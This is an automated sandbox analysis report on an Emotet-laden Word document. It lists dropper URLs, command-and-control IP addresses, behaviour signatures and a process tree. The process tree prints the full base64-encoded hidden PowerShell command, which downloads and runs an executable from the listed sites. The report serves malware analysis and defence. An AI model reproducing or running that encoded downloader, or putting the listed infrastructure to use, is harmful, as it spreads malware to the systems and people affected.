Analysis

  • max time kernel
    28s
  • resource
    win10v191014
  • submitted
    15-01-2020 21:45

General

  • Target

    c1c7fc8ee76da4f1696fa2d918472cacd777e5fe281acbaec5d12a85d98fcab5

  • Sample

    200115-bw8t8wz38a

  • SHA256

    c1c7fc8ee76da4f1696fa2d918472cacd777e5fe281acbaec5d12a85d98fcab5

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://lehraagrotech.com/wp-content/B/

exe.dropper

http://emdgames.com/calendar/xos/

exe.dropper

http://seca.infoavisos.com/wp-seca/f/

exe.dropper

http://arx163.com/wp-admin/uw4/

exe.dropper

http://youthplant.org/wp-admin/838/

Extracted

Family

emotet

C2

24.196.49.98:80

93.147.141.5:443

72.189.57.105:80

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

27.109.153.201:8090

105.247.123.133:8080

190.12.119.180:443

120.151.135.224:80

221.165.123.72:80

103.86.49.11:8080

178.237.139.83:8080

5.32.55.214:80

95.213.236.64:8080

189.203.177.41:443

78.24.219.147:8080

190.117.226.104:80

73.11.153.178:8080

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c1c7fc8ee76da4f1696fa2d918472cacd777e5fe281acbaec5d12a85d98fcab5.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    PID:4872
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABWAGsAYgBtAGQAawBsAGwAegBtAHUAaAB5AD0AJwBUAHAAcQBhAGEAdQBtAHcAdQAnADsAJABOAGwAcQB2AG0AeABiAGcAIAA9ACAAJwA5ADEAOQAnADsAJABYAHcAbABxAGQAYgBiAHoAYQA9ACcAWgBjAGkAeABnAGsAagBmAG4AdwAnADsAJABLAHoAYQB1AGwAcgB3AGQAbgB0AGkAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBsAHEAdgBtAHgAYgBnACsAJwAuAGUAeABlACcAOwAkAEgAawBmAHgAZgBpAG4AaABvAGgAZABvAD0AJwBWAHEAZgB4AHUAZQBlAGYAcgB5AHMAJwA7ACQATgBkAGEAeABtAGkAZAB1AD0AJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAEMATABpAGUATgBUADsAJABFAGgAegBvAHEAbABtAHUAbwA9ACcAaAB0AHQAcAA6AC8ALwBsAGUAaAByAGEAYQBnAHIAbwB0AGUAYwBoAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgAvACoAaAB0AHQAcAA6AC8ALwBlAG0AZABnAGEAbQBlAHMALgBjAG8AbQAvAGMAYQBsAGUAbgBkAGEAcgAvAHgAbwBzAC8AKgBoAHQAdABwADoALwAvAHMAZQBjAGEALgBpAG4AZgBvAGEAdgBpAHMAbwBzAC4AYwBvAG0ALwB3AHAALQBzAGUAYwBhAC8AZgAvACoAaAB0AHQAcAA6AC8ALwBhAHIAeAAxADYAMwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQB3ADQALwAqAGgAdAB0AHAAOgAvAC8AeQBvAHUAdABoAHAAbABhAG4AdAAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AOAAzADgALwAnAC4AIgBTAFAATABgAEkAVAAiACgAJwAqACcAKQA7ACQATQBsAHMAagBrAGgAZABkAGcAPQAnAFYAcQBuAGkAdgBzAHoAdABpACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAHQAegBsAGkAeABzAGoAIABpAG4AIAAkAEUAaAB6AG8AcQBsAG0AdQBvACkAewB0AHIAeQB7ACQATgBkAGEAeABtAGkAZAB1AC4AIgBkAGAATwBXAG4ATABgAG8AYQBkAEYASQBsAGUAIgAoACQAUwB0AHoAbABpAHgAcwBqACwAIAAkAEsAegBhAHUAbAByAHcAZABuAHQAaQBmACkAOwAkAFMAegBwAGMAawBvAGMAdABoAGUAagA9ACcAVgB2AHgAcwBnAGwAagBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQASwB6AGEAdQBsAHIAdwBkAG4AdABpAGYAKQAuACIATABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMANAA2ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJABLAHoAYQB1AGwAcgB3AGQAbgB0AGkAZgApADsAJABFAHIAdgBqAHkAeQB5AG8APQAnAFMAcwB0AGkAdwBwAGIAbQBxAHoAbQBuAG0AJwA7AGIAcgBlAGEAawA7ACQAVgBnAG4AeABpAHoAegB5AG4AeAB0AHQAcwA9ACcARwB1AHAAYwBkAGQAZABqAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBjAGIAcABxAGUAaQBqAGQAPQAnAFEAZQB5AHMAdQBnAGsAZAB2AGkAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Users\Admin\919.exe
      "C:\Users\Admin\919.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4560
      • C:\Users\Admin\919.exe
        --19646a5f
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious behavior: EmotetMutantsSpam
        PID:1648

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1648-9-0x0000000002240000-0x0000000002257000-memory.dmp

    Filesize

    92KB

  • memory/1648-10-0x0000000000400000-0x000000000045E000-memory.dmp

    Filesize

    376KB

  • memory/4560-6-0x0000000002350000-0x0000000002367000-memory.dmp

    Filesize

    92KB